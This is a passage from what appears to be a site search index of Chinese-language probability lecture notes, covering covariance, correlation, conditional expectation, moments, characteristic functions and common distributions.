\\]"},{"location":"NOTE/Probability/Third/#_11","title":"\u534f\u65b9\u5dee","text":"<p>\u5047\u8bbe\\(X\\)\u548c\\(Y\\)\u662f\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u4e14\u4e24\u8005\u7684\u6570\u5b66\u671f\u671b\u548c\u65b9\u5dee\u90fd\u5b58\u5728\uff0c\u90a3\u4e48\\(X\\)\u548c\\(Y\\)\u7684\u534f\u65b9\u5dee\u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\operatorname{Cov}(X, Y) = E[(X - E(X))(Y - E(Y))] \\] <p>\u534f\u65b9\u5dee\u4e5f\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ \\operatorname{Cov}(X, Y) = E(XY) - E(X)E(Y) \\] <p>Cauchy-Schwarz\u4e0d\u7b49\u5f0f</p> <p>\u5bf9\u4e8e\u4efb\u610f\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\\(X\\)\u548c\\(Y\\)\uff0c\u6709</p> \\[     \\operatorname{Cov}(X, Y)^2 \\leq \\operatorname{Var}(X) \\operatorname{Var}(Y) \\] \\[     E[(X - E(X))(Y - E(Y))] \\leqslant \\sqrt{E[(X - E(X))^2]E[(Y - E(Y))^2]} \\] <p>\u8fd0\u7528\u4efb\u610f\u5b9e\u6570\\(t\\),\u6ee1\u8db3</p> \\[     E[(|X|+t|Y|)^2] \\geqslant 0 \\] <p>\u5c55\u5f00\u5229\u7528\u4e8c\u6b21\u51fd\u6570\u7684\u6027\u8d28\u5373\u53ef\uff1b</p> <p>\u534f\u65b9\u5dee\u77e9\u9635\u4e3a</p> \\[ \\Sigma = \\begin{bmatrix} \\operatorname{Var}(X_1) &amp; \\operatorname{Cov}(X_1, X_2) &amp; \\cdots &amp; \\operatorname{Cov}(X_1, X_n) \\\\ \\operatorname{Cov}(X_2, X_1) &amp; \\operatorname{Var}(X_2) &amp; \\cdots &amp; \\operatorname{Cov}(X_2, X_n) \\\\ \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\ \\operatorname{Cov}(X_n, X_1) &amp; \\operatorname{Cov}(X_n, X_2) &amp; \\cdots &amp; \\operatorname{Var}(X_n) \\end{bmatrix} \\] <p>\u5bf9\u4e8e\u4e8c\u5143\u968f\u673a\u53d8\u91cf \\( X = (X_1, X_2) \\)\uff0c\u534f\u65b9\u5dee\u77e9\u9635\u4e3a</p> \\[ \\Sigma = \\begin{bmatrix} \\operatorname{Var}(X_1) &amp; \\operatorname{Cov}(X_1, X_2) \\\\ \\operatorname{Cov}(X_2, X_1) &amp; \\operatorname{Var}(X_2) \\end{bmatrix} \\] <p>Key-point</p> <p>\u534f\u65b9\u5dee\u77e9\u9635\u662f\u4e00\u4e2a\u975e\u8d1f\u5b9a\u77e9\u9635\uff0c\u5373\u5bf9\u4e8e\u4efb\u610f\u975e\u96f6\u5217\u5411\u91cf \\( a \\)\uff0c\u6709 \\( a^T \\Sigma a \\geq 0 \\)\u3002</p> <p>\u5982\u679c\\(X\\), \\(Y\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u6b64\u65f6 \\(E(XY)=E(X)E(Y)\\) \u90a3\u4e48\\(\\operatorname{Cov}(X, Y) = 0\\)\uff0c\u53cd\u4e4b\uff0c\u5982\u679c\\(\\operatorname{Cov}(X, Y) = 0\\)\uff0c\u5e76\u4e0d\u4e00\u5b9a\u6709\\(X\\)\u548c\\(Y\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u4f46\u662f\u53ef\u4ee5\u5b9a\u4e49\u4e3a\u4e0d\u76f8\u5173\u3002</p> <p>Example</p> <p>\u4e8c\u5143\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u534f\u65b9\u5dee\u4e3a\\(\\rho \\sigma_1 \\sigma_2\\)</p>"},{"location":"NOTE/Probability/Third/#_12","title":"\u76f8\u5173\u7cfb\u6570","text":"<p>Definition</p> <p>\u4e8c\u5143\u51fd\u6570\u7684\u76f8\u5173\u7cfb\u6570\uff08Correlation Coefficient\uff09\u7528\u6765\u8861\u91cf\u4e24\u4e2a\u968f\u673a\u53d8\u91cf \\( X \\) \u548c \\( Y \\) \u4e4b\u95f4\u7684\u7ebf\u6027\u5173\u7cfb\uff0c\u5176\u5b9a\u4e49\u57fa\u4e8e\u534f\u65b9\u5dee\u548c\u6807\u51c6\u5dee\uff0c\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a</p> \\[ \\rho(X, Y) = \\frac{\\operatorname{Cov}(X, Y)}{\\sigma_X \\cdot \\sigma_Y} \\] <p>\u5176\u4e2d\uff1a</p> <ul> <li>\\(\\operatorname{Cov}(X, Y)\\) \u662f \\( X \\) \u548c \\( Y \\) \u7684\u534f\u65b9\u5dee\uff0c\u5b9a\u4e49\u4e3a\uff1a</li> </ul> \\[   \\operatorname{Cov}(X, Y) = \\mathbb{E}[(X - \\mathbb{E}[X])(Y - \\mathbb{E}[Y])] = \\mathbb{E}[XY] - \\mathbb{E}[X] \\cdot \\mathbb{E}[Y] \\] <ul> <li>\\(\\sigma_X\\) \u548c \\(\\sigma_Y\\) \u5206\u522b\u662f \\( X \\) \u548c \\( Y \\) \u7684\u6807\u51c6\u5dee\uff0c\u5b9a\u4e49\u4e3a\uff1a</li> </ul> \\[   \\sigma_X = \\sqrt{\\operatorname{Var}(X)}, \\quad \\sigma_Y = \\sqrt{\\operatorname{Var}(Y)} \\] <p>\u5176\u4e2d\u65b9\u5dee\u4e3a\uff1a</p> \\[   \\operatorname{Var}(X) = \\mathbb{E}[(X - \\mathbb{E}[X])^2] \\] <ol> <li>\u53d6\u503c\u8303\u56f4\uff1a</li> </ol> \\[    -1 \\leq \\rho(X, Y) \\leq 1 \\] <ul> <li>\u5f53 \\(\\rho(X, Y) = 1\\) \u65f6\uff0c\\( X \\) \u548c \\( Y \\) \u5b8c\u5168\u6b63\u7ebf\u6027\u76f8\u5173\u3002</li> <li>\u5f53 \\(\\rho(X, Y) = -1\\) \u65f6\uff0c\\( X \\) \u548c \\( Y \\) \u5b8c\u5168\u8d1f\u7ebf\u6027\u76f8\u5173\u3002</li> <li> <p>\u5f53 \\(\\rho(X, Y) = 0\\) \u65f6\uff0c\\( X \\) \u548c \\( Y \\) \u6ca1\u6709\u7ebf\u6027\u5173\u7cfb\uff0c\u4f46\u4e0d\u4e00\u5b9a\u72ec\u7acb\u3002</p> </li> <li> <p>\u65e0\u91cf\u7eb2\u6027\uff1a \\(\\rho(X, Y)\\) \u662f\u4e00\u4e2a\u65e0\u91cf\u7eb2\u91cf\uff0c\u53cd\u6620\u7684\u662f\u4e24\u53d8\u91cf\u7ebf\u6027\u5173\u7cfb\u7684\u5f3a\u5f31\uff0c\u4e0e\u53d8\u91cf\u7684\u91cf\u7eb2\u65e0\u5173\u3002</p> </li> <li> <p>\u5bf9\u79f0\u6027\uff1a</p> </li> </ul> \\[    \\rho(X, Y) = \\rho(Y, X) \\] <p>\u4e00\u822c\u4e5f\u7528\\(\\gamma\\)\u6765\u8868\u793a\u76f8\u5173\u7cfb\u6570</p>"},{"location":"NOTE/Probability/Third/#_13","title":"\u6761\u4ef6\u671f\u671b","text":"<p>\u5bf9\u4e8e\u4e24\u4e2a\u968f\u673a\u53d8\u91cfX\uff0cY\uff0c\u5176\u6761\u4ef6\u671f\u671b\u5b9a\u4e49\u4e3a\uff1a</p> \u79bb\u6563\u578b\u8fde\u7eed\u578b <p>\u7ed9\u5b9a\\(Y=y_i\\),\\(X\\)\u7684\u6761\u4ef6\u671f\u671b\u5b9a\u4e49\u4e3a</p> \\[     E(X|Y=y_i)=\\sum_{i=1}^\\infty x_i P(X=x_i|Y=y_i) \\] <p>\u8981\u6c42\u8be5\u7ea7\u6570\u7edd\u5bf9\u6536\u655b</p> <p>\u82e5\u7ed9\u5b9a\\(X\\),\\(Y\\)\u7684\u6761\u4ef6\u671f\u671b\u4e5f\u662f\u7c7b\u4f3c</p> \\[     P(X=x|Y=y)=\\dfrac{p(x,y)}{p_Y(y)} \\] <p>\u6240\u4ee5</p> \\[     E(X=x|Y=y)=\\int_{-\\infty}^{+\\infty} x  P(X=x|Y=y) dx \\] <p>\u8981\u6c42\u8be5\u79ef\u5206\u7edd\u5bf9\u53ef\u79ef</p> <p>\u82e5\u7ed9\u5b9a\\(X\\),\\(Y\\)\u7684\u6761\u4ef6\u671f\u671b\u4e5f\u662f\u7c7b\u4f3c</p>"},{"location":"NOTE/Probability/Third/#_14","title":"\u5168\u671f\u671b\u516c\u5f0f","text":"\\[ P(X = x_i, Y = y_j) = p_{ij}, \\quad i, j = 1, 2, \\ldots \\] <p>\u6bcf\u4e00\u4e2a \\(y_j\\)\uff0c\u5bf9\u5e94\u4e00\u4e2a\u6761\u4ef6\u671f\u671b \\(E(X|Y = y_j)\\)\uff0c\u5373</p> \\[ y_j \\rightarrow E(X|Y = y_j) \\] <p>\u5b9a\u4e49</p> \\[ g(y_j) = E(X|Y = y_j) \\] <p>\u5373</p> \\[ g(Y) = E(X|Y) \\] <p>\u5b83\u662f \\(Y\\) \u7684\u51fd\u6570\uff0c\u6240\u4ee5\u662f\u968f\u673a\u53d8\u91cf\u3002\u6c42 \\(Eg(Y)\\)\uff1b</p> \\[ Eg(Y) = \\sum_{j=1}^{\\infty} g(y_j) P(Y = y_j) \\] \\[ = \\sum_{j=1}^{\\infty} \\sum_{i=1}^{\\infty} x_i P(X = x_i | Y = y_j) P(Y = y_j) \\] \\[ = \\sum_{i=1}^{\\infty} x_i \\sum_{j=1}^{\\infty} P(X = x_i | Y = y_j) P(Y = y_j) \\] \\[ = \\sum_{i=1}^{\\infty} x_i P(X = x_i) \\] \\[ = E X \\] <p>Key-point</p> <p>\\(E(E(X|Y))=EX\\),\\(E(E(Y|X))=EY\\) \u8fd9\u4e2a\u7ed3\u8bba\u5bf9\u4e8e\u79bb\u6563\uff0c\u968f\u673a\uff0c\u8fde\u7eed\u53d8\u91cf\u90fd\u6210\u7acb</p>"},{"location":"NOTE/Probability/Third/#_15","title":"\u77e9","text":"<ul> <li>k \u9636\u77e9\uff0ck \u9636\u4e2d\u5fc3\u77e9:</li> </ul> <p>\u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u6982\u7387\u7a7a\u95f4\uff0c\\(X: \\Omega \\to \\mathbb{R}\\) \u968f\u673a\u53d8\u91cf   \u5982\u679c \\(E|X|^k &lt; \\infty, k \\geqslant 1\\)\uff0c\u90a3\u4e48\u79f0</p> \\[   E X^k, \\quad k \\text{ \u9636\u77e9 } k \\geq 1 \\] \\[   E(X - E X)^k, \\quad k \\text{ \u9636\u4e2d\u5fc3\u77e9 } k \\geq 1 \\] <p>Example</p> \u6b63\u6001\u5206\u5e03\u6cca\u677e\u5206\u5e03 <p>\\( X \\sim N(0, \\sigma^2) \\)\uff0c\u90a3\u4e48</p> \\[ E|X|^k &lt; \\infty, \\quad k \\geq 1 \\] <p>\u5e76\u4e14</p> \\[ EX^{2k} = (2k - 1)!! \\sigma^{2k}, \\quad EX^{2k + 1} = 0, \\quad k \\geq 1 \\] \\[ EX^{2k} = \\int_{-\\infty}^{\\infty} x^{2k} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{x^2}{2}} \\, dx \\] \\[ = -\\int_{-\\infty}^{\\infty} x^{2k - 1} \\frac{1}{\\sqrt{2\\pi}} d e^{-\\frac{x^2}{2}} \\] \\[ = -x^{2k-1} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{x^2}{2}} \\bigg|_{-\\infty}^{\\infty} + (2k - 1) \\int_{-\\infty}^{\\infty} x^{2k - 2} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{x^2}{2}} \\, dx \\] \\[ = (2k - 1) E X^{2k - 2} \\] \\[ EX^{2k} = (2k - 1) E X^{2k - 2} = \\cdots = (2k - 1)(2k - 3) \\cdots 1 = (2k - 1)!! \\] <p>\\( X \\sim \\mathcal{P}(\\lambda) \\)\uff0c\u90a3\u4e48</p> \\[ E|X|^k &lt; \\infty, \\quad k \\geq 1 \\] <p>\u5e76\u4e14</p> \\[ E X (X - 1) \\cdots (X - (k - 1)) = \\lambda^k, \\quad k \\geq 1 \\] \\[ \\downarrow \\] \\[ E X^2 = E X (X - 1) + E X \\] \\[ E X^3 = E X (X - 1)(X - 2) + 3 E X (X - 1) + E X \\] \\[ E X^4 = E X (X - 1)(X - 2)(X - 3) + 6 E X (X - 1)(X - 2) + 7 E X (X - 1) + E X \\] \\[ E X^k = E X (X - 1) \\cdots (X - (k - 1)) + \\cdots \\] <p>Warining</p> <p>\u4e00\u822c\u6765\u8bf4\uff0c\u968f\u673a\u53d8\u91cf\u4efb\u610fK\u9636\u77e9\u90fd\u76f8\u7b49\uff0c\u5e76\u4e0d\u80fd\u4fdd\u8bc1\u968f\u673a\u53d8\u91cf\u7684\u5206\u5e03\u76f8\u540c\u3002\u4f46\u662f\u6b63\u6001\u5206\u5e03\u548c\u6cca\u677e\u5206\u5e03\u53ef\u4ee5\u7531k\u9636\u77e9\u6765\u786e\u5b9a\u3002</p> <p>\u5b9a\u7406</p> <p>\u5047\u8bbe \\(X, Y\\) \u662f\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u5e76\u4e14\u5bf9\u4efb\u610f \\(k \\geq 1\\),</p> \\[ E X^k = E Y^k = m_k &lt; \\infty \\] <p>\u5982\u679c\u4e0b\u5217\u4e09\u4e2a\u6761\u4ef6\u4e4b\u4e00\u6210\u7acb\uff1a</p> <p>(i)</p> \\[ \\sum_{k=1}^{\\infty} \\frac{m_{2k} t^{2k}}{(2k)!} &lt; \\infty, \\quad \\text{\u5bf9\u67d0\u4e9b } t &gt; 0 \\] <p>(ii)</p> \\[ \\sum_{k=1}^{\\infty} m_{2k}^{-1/2k} = \\infty \\] <p>(iii)</p> \\[ \\limsup_{k \\to \\infty} |m_k|^{1/k} &lt; \\infty \\] <p>\u90a3\u4e48</p> \\[ X \\overset{d}{\\equiv} Y \\]"},{"location":"NOTE/Probability/Third/#_16","title":"\u7279\u5f81\u51fd\u6570","text":"<p>\\((\\Omega, A, P), X : \\Omega \\to \\mathbb{R}, X \\sim F_X(x)\\). \u5b9a\u4e49</p> \\[ \\varphi(t) = E e^{itX}, \\quad t \\in \\mathbb{R} \\] <p>\u5176\u4e2d</p> \\[ E e^{itX} = E \\cos tX + iE \\sin tX \\] <p>\u4e00\u5b9a\u5b58\u5728\u6709\u9650\u3002</p> \\[\\varphi(t) : \\mathbb{R} \\to \\mathbb{C}\\] <p>\u5b9e\u53d8\u91cf\u590d\u503c\u51fd\u6570</p> <p>\u76ee\u7684\uff1a\u5229\u7528\u590d\u5206\u6790\u7814\u7a76\u968f\u673a\u53d8\u91cf\u7684\u5206\u5e03\u6027\u8d28\u3002</p> <p>\u610f\u4e49\uff1a\u5bf9\u6982\u7387\u8bba\u7684\u53d1\u5c55\u8d77\u7740\u91cd\u8981\u4f5c\u7528\u3002</p> <p>\u5e38\u89c1\u5206\u5e03\u7684\u7279\u5f81\u51fd\u6570</p> \u9000\u5316\u5206\u5e03\u4e24\u70b9\u5206\u5e03n-Bernoulli \u5206\u5e03Poisson \u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6807\u51c6\u6b63\u6001\u5206\u5e03 <p>\u82e5\\(X\\)\u662f\u4e00\u4e2a\u5e38\u6570\\(c\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = e^{ict} \\] <p>\u82e5\\(X\\)\u662f\u4e00\u4e2a\u4e24\u70b9\u5206\u5e03\uff0c\\(P(X = 1) = p, \\quad P(X = 0) = 1 - p\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = pe^{it} + 1 - p \\] <p>\u82e5\\(X \\sim B(n, p)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = (1 - p + pe^{it})^n \\] <p>\u82e5\\(X \\sim P(\\lambda)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = e^{\\lambda (e^{it} - 1)} \\] <p>\u82e5\\(X \\sim U(a, b)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = \\frac{e^{itb} - e^{ita}}{it(b-a)} \\] <p>\u82e5\\(X \\sim E(\\lambda)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = \\frac{\\lambda}{\\lambda - it} \\] <p>\u82e5\\(X \\sim N(0, 1)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = e^{-\\frac{t^2}{2}} \\] <p>\u666e\u901a\u7684\u6b63\u6001\u5206\u5e03</p> \\[     e^{it\\mu-\\frac{\\sigma^2t^2}{2}} \\]"},{"location":"NOTE/Probability/Third/#_17","title":"\u7279\u5f81\u51fd\u6570\u7684\u5206\u6790\u6027\u8d28","text":"<ol> <li> <p>\\( \\varphi(0) = 1 \\)</p> </li> <li> <p>\\( |\\varphi(t)| \\leqslant 1 = \\varphi(0) \\) \u6a21\u957f\u6709\u754c</p> </li> <li> <p>\\( \\varphi(-t) = \\overline{\\varphi(t)} \\) \u5171\u8f6d\u5bf9\u79f0</p> </li> <li> <p>\\( \\varphi(t) \\) \u5728 \\( \\mathbb{R} \\) \u4e0a\u4e00\u81f4\u8fde\u7eed\u3002</p> </li> <li> <p>Bochner \u975e\u8d1f\u5b9a\u6027</p> </li> </ol> <p>\u5bf9\u4e8e\u4efb\u4f55\u5b9e\u6570 \\( t_1, t_2, \\ldots, t_n \\)\uff0c\u4efb\u4f55\u590d\u6570 \\( a_1, a_2, \\ldots, a_n \\)</p> \\[ \\sum_{k,l=1}^{n} a_k \\bar{a_l} \\varphi(t_k - t_l) \\geqslant 0 \\] <ol> <li>\u53ef\u5fae\u6027</li> </ol> <p>\u5047\u8bbe \\( E|X| &lt; \\infty, \\quad EX = \\mu \\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) \\text{ \u53ef\u5fae} \\] <p>\u5e76\u4e14</p> \\[ \\varphi'(0) = i\\mu \\] <p>\u4e8b\u5b9e\u4e0a\uff0c</p> \\[ \\varphi(t) = \\int_{-\\infty}^{\\infty} e^{itx} dF(x). \\] <p>\u56e0\u4e3a</p> \\[ \\int_{-\\infty}^{\\infty} |x| dF(x) &lt; \\infty, \\] <p>\\(e^{itx}\\)\u6c42\u5bfc\u4e4b\u540e\u88ab\u4e00\u4e2a\u53ef\u79ef\u51fd\u6570\u63a7\u5236\uff0c</p> <p>\u6240\u4ee5</p> \\[ \\varphi'(t) = \\int_{-\\infty}^{\\infty} ix e^{itx} dF(x) \\] \\[ = i \\int_{-\\infty}^{\\infty} x e^{itx} dF(x) \\] <p>\u7c7b\u4f3c\u5730\uff0c\u5982\u679c \\( E|X|^k &lt; \\infty \\)\uff0c\u90a3\u4e48</p> \\[ \\varphi^{(k)}(t) = i^k \\int_{-\\infty}^{\\infty} x^k e^{itx} dF(x) \\] <p>\u7279\u522b\uff0c\u5982\u679c \\( E|X| &lt; \\infty \\)\uff0c\u90a3\u4e48 \\( \\varphi(t) \\) \u5728 0 \u5904\u53ef\u4ee5\u8fdb\u884c \\( k \\) \u6b21\u5c55\u5f00\uff1a</p> \\[ \\varphi(t) = \\varphi(0) + \\varphi'(0)t + \\frac{\\varphi''(0)}{2!} t^2 + \\cdots + \\frac{\\varphi^{(k)}(0)}{k!} t^k + o(t^k) \\] \\[ = 1 + iEXt - \\frac{EX^2}{2} t^2 + \\cdots + \\frac{i^k EX^k}{k!} t^k + o(t^k), \\quad t \\to 0 \\]"},{"location":"NOTE/Probability/Third/#_18","title":"\u7279\u5f81\u51fd\u6570\u7684\u8fd0\u7b97\u6027\u8d28","text":"<ul> <li>\u4ee4 \\( X \\) \u7684\u7279\u5f81\u51fd\u6570\u4e3a \\( \\varphi_X(t) \\)\uff0c\u90a3\u4e48</li> </ul> \\[ E[e^{it(aX+c)}] = e^{itc} \\varphi_X(at) \\] <p>\u5982\u679c \\( Y \\sim N(\\mu, \\sigma^2) \\)\uff0c\u90a3\u4e48\u53ef\u5199\u6210</p> \\[ Y = \\sigma X + \\mu, \\quad X \\sim N(0, 1) \\] <p>\u56e0\u6b64\uff0c</p> \\[ \\varphi_Y(t) = e^{i\\mu t - \\frac{\\sigma^2 t^2}{2}} \\] <ul> <li>\u4ee4 \\( X \\) \u548c \\( Y \\) \u4e3a\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48</li> </ul> \\[     Z = X + Y \\] \\[ \\varphi_Z(t) = \\varphi_X(t) \\varphi_Y(t) \\] <p>\u5728X,Y\u76f8\u4e92\u72ec\u7acb\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e2a\u516c\u5f0f\u6210\u7acb\u3002</p> <p>\u63a8\u5e7f\uff1a</p> <p>\u5982\u679c \\( X_1, X_2, \\ldots, X_n \\) \u76f8\u4e92\u72ec\u7acb\uff0c\u90a3\u4e48</p> \\[ \\varphi_{X_1 + X_2 + \\cdots + X_n}(t) = \\varphi_{X_1}(t) \\varphi_{X_2}(t) \\cdots \\varphi_{X_n}(t) \\] <p>Eg</p> <p>\\(S_n \\sim B(n,p)\\)\uff0c\u90a3\u4e48\\(S_n =\\sum_{i=1}^n X_i\\)\uff0c\u5176\u4e2d\\(X_i\\)\u662f\u72ec\u7acb\u540c\u5206\u5e03\u7684\u4e24\u70b9\u5206\u5e03\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48</p> \\[ \\varphi_{S_n}(t) = \\varphi_{X_1}(t) \\varphi_{X_2}(t) \\cdots \\varphi_{X_n}(t) = (1-p+pe^{it})^n \\] <p>Warning</p> <p>\u6ce8\u610f\u8ba1\u7b97\u7279\u5f81\u51fd\u6570\u7684\u65f6\u5019\u4e0d\u8981\u76f4\u63a5\u628a\u6c42\u671f\u671b\u653e\u5230\u6307\u6570\u4e0a,\u5373</p> \\[     Ee^{itX} \\neq e^{itEX} \\] <p>\u662f\u4e0d\u5bf9\u7684</p>"},{"location":"NOTE/Probability/Third/#_19","title":"\u552f\u4e00\u6027\u95ee\u9898","text":"<p>\u5206\u5e03\u51fd\u6570\u548c\u7279\u5f81\u51fd\u6570\u76f8\u4e92\u552f\u4e00\u786e\u5b9a\u5417?</p> <p>\u5047\u8bbe \\(X\\) \u548c \\(Y\\) \u7684\u5206\u5e03\u51fd\u6570\u76f8\u540c\uff0c\u90a3\u4e48\u5b83\u4eec\u7684\u7279\u5f81\u51fd\u6570\u76f8\u540c\u662f\u663e\u7136\u7684\uff1b</p> <p>\u4f46\u662f\uff0c\u7279\u5f81\u51fd\u6570\u76f8\u540c\uff0c\\(X\\) \u548c \\(Y\\) \u7684\u5206\u5e03\u51fd\u6570\u662f\u5426\u76f8\u540c\u5462\uff1f</p> <p>\u5373</p> \\[ \\varphi_X(t) = \\varphi_Y(t), \\quad \\forall t \\in \\mathbb{R} \\] <p>\u662f\u5426\u80fd\u63a8\u51fa</p> \\[ F_X(x) = F_Y(x), \\quad \\forall x \\in \\mathbb{R} \\] <p>\u552f\u4e00\u6027\u5b9a\u7406</p> \\[ \\varphi_X(t) \\equiv \\varphi_Y(t) \\] <p>\u90a3\u4e48</p> \\[ X \\overset{d}{=} Y, \\quad F_X(x) \\equiv F_Y(x) \\] <p>\u5b9e\u9645\u4e0a\uff0c</p> \\[ F_X(x_2) - F_X(x_1) = \\lim_{T \\to \\infty} \\frac{1}{2\\pi} \\int_{-T}^{T} \\frac{e^{-itx_2} - e^{-itx_1}}{it} \\cdot \\varphi_X(t) dt \\] <p>\u6709\u63a8\u8bba:</p> <p>\u5982\u679c \\( X \\) \u7684\u7279\u5f81\u51fd\u6570 \\( \\varphi(t) \\) \u7edd\u5bf9\u53ef\u79ef\uff0c\u5373</p> \\[ \\int_{-\\infty}^{\\infty} |\\varphi(t)| dt \\] <p>\u90a3\u4e48 \\( X \\) \u5177\u6709\u5bc6\u5ea6\u51fd\u6570 \\( p(x) \\)\uff0c\u5e76\u4e14</p> \\[ p(x) = \\frac{1}{2\\pi} \\int_{-\\infty}^{\\infty} e^{-itx} \\varphi(t) dt \\] <p>\u5982\u679c\u662f\u79bb\u6563\u578b\uff0c\u90a3\u4e48 \u5047\u8bbe \\(\\varphi(t)\\) \u662f\u4e00\u4e2a\u7279\u5f81\u51fd\u6570\uff0c\u5982\u679c</p> \\[ \\varphi(t) = \\sum_{k=-\\infty}^{\\infty} a_k e^{ikt} \\] <p>\u5e76\u4e14</p> \\[ a_k \\geqslant 0, \\quad \\sum_{k=-\\infty}^{\\infty} a_k = 1 \\] <p>\u90a3\u4e48</p> \\[ P(X = k) = a_k, \\quad k = \\ldots, -2, -1, 0, 1, 2, \\ldots, \\] <p>\u6ce8\u610f\uff0c\u67d0\u4e9b \\(a_k\\) \u53ef\u80fd\u4e3a 0\u3002</p> <p>Example</p> <p>\u5047\u8bbe \\((X, Y)\\) \u662f\u4e8c\u5143\u8054\u5408\u6b63\u6001\u968f\u673a\u53d8\u91cf</p> \\[ (X, Y) \\sim N(\\mu_1, \\sigma_1^2; \\mu_2, \\sigma_2^2; \\rho) \\] <p>\u6c42\uff1a\\(\\phi(t_1, t_2) = ?\\)</p> <p>\u4e3a\u7b80\u5355\u8d77\u89c1\uff0c\u5047\u8bbe \\(\\mu_1 = 0, \\sigma_1^2 = 1; \\mu_2 = 0, \\sigma_2^2 = 1\\)\uff0c\u5373</p> \\[ (X, Y) \\sim N(0, 1; 0, 1; \\rho) \\] <p>\u4ee4</p> \\[ \\Sigma = \\begin{pmatrix} 1 &amp; \\rho \\\\ \\rho &amp; 1 \\end{pmatrix} \\] <p>\u4f5c\u7ebf\u6027\u53d8\u6362\uff1a</p> \\[ \\begin{pmatrix} U \\\\ V \\end{pmatrix} = \\Sigma^{-1/2} \\begin{pmatrix} X \\\\ Y \\end{pmatrix} \\] \\[ = \\begin{pmatrix} 1 &amp; \\rho \\\\ \\rho &amp; 1 \\end{pmatrix}^{-1/2} \\begin{pmatrix} X \\\\ Y \\end{pmatrix} \\] <p>\u8fd9\u6837\uff0c\\((U, V) \\sim N(0, 1; 0, 1; 0)\\)\uff0c\u5373 \\(U, V\\) \u76f8\u4e92\u72ec\u7acb\u3002\u6240\u4ee5\uff0c</p> \\[ \\phi_{U,V}(t_1, t_2) = e^{-\\frac{1}{2}(t_1^2 + t_2^2)} \\] \\[ = e^{-\\frac{1}{2}(t_1, t_2) \\cdot (t_1, t_2)'} \\] \\[ \\begin{align*} \\phi_{X,Y}(t_1, t_2) &amp;= E e^{i(t_1, t_2)(X, Y)'} \\\\ &amp;= E e^{i(t_1, t_2) \\Sigma^{1/2} (U, V)'} \\\\ &amp;= e^{-\\frac{1}{2} (t_1, t_2) \\Sigma (t_1, t_2)'} \\end{align*} \\] <p>\u8fd9\u91cc\u6700\u540e\u4e00\u4e2a\u7b49\u53f7\u662f\u8fd0\u7528\u4e86 \\(\\phi_{U,V}\\)\u7279\u5f81\u51fd\u6570\u7684\u53d8\u91cf\u66ff\u6362\u548c\u8f6c\u7f6e\u7684\u6027\u8d28\uff1b</p> <p>\u8fd9\u79cd\u53d8\u6362\u7684\u65b9\u5f0f\u5f88\u597d\u7528\uff0c\u53ef\u4ee5\u628a\u6807\u51c6\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u76f8\u5173\u7cfb\u6570\u53d8\u4e3a0\uff1b</p> <p>\u591a\u5143\u968f\u673a\u5411\u91cf\u7684\u7279\u5f81\u51fd\u6570</p> <p>\u8bbe\\(\\mathbf{X}\\)\u662f\u4e00\u4e2a\u591a\u5143\u968f\u673a\u5411\u91cf,\\(\\mathbf{t}=(t_1,t_2,\\ldots,t_n) \\in \\mathbb{R}^n\\),\u5b9a\u4e49</p> \\[ \\varphi_{\\mathbf{X}}(\\mathbf{t}) = Ee^{i\\mathbf{t}\\cdot\\mathbf{X}} \\] <p>\u5373\u4e24\u8005\u505a\u5185\u79ef\u7684\u671f\u671b;</p>"},{"location":"NOTE/Probability/Third/#_20","title":"\u5e38\u89c1\u5206\u5e03","text":"<p>\u81f3\u4eca\u4e3a\u6b62,\u6982\u7387\u8bba\u7684\u6570\u5b57\u7279\u5f81\u90e8\u5206\u5df2\u7ecf\u7ed3\u675f,\u5f00\u59cb\u6982\u7387\u6781\u9650\u7406\u8bba\u7684\u5b66\u4e60\u4e4b\u524d,\u5728\u6b64\u603b\u7ed3\u4e00\u4e0b\u82cf\u8001\u5e08\u8bfe\u4e0a\u63d0\u5230\u8fc7\u7684\u5404\u79cd\u5206\u5e03\u7684\u8868\u8fbe,\u5bc6\u5ea6\u51fd\u6570(\u6216\u6982\u7387),\u671f\u671b,\u65b9\u5dee,\u7279\u5f81\u51fd\u6570;</p> \u9000\u5316\u5206\u5e03\u4e24\u70b9\u5206\u5e03\u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6b63\u6001\u5206\u5e03\u5361\u65b9\u5206\u5e03Gamma\u5206\u5e03 <p>\u9000\u5316\u5206\u5e03,\u4e3a\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf,\u53d6\u67d0\u4e2a\u503c\u7684\u6982\u7387\u4e3a1,\u5176\u4f59\u53d6\u503c\u7684\u6982\u7387\u4e3a0;</p> <p>$$  P(X=a)=1  $$</p> <p>\u671f\u671b\u4e3a\\(E(X)=a\\),\u65b9\u5dee\u4e3a\\(Var(X)=0\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{ita}\\);</p> <p>\u5373 \u4f2f\u52aa\u5229\u5206\u5e03 \uff0cBernoulli 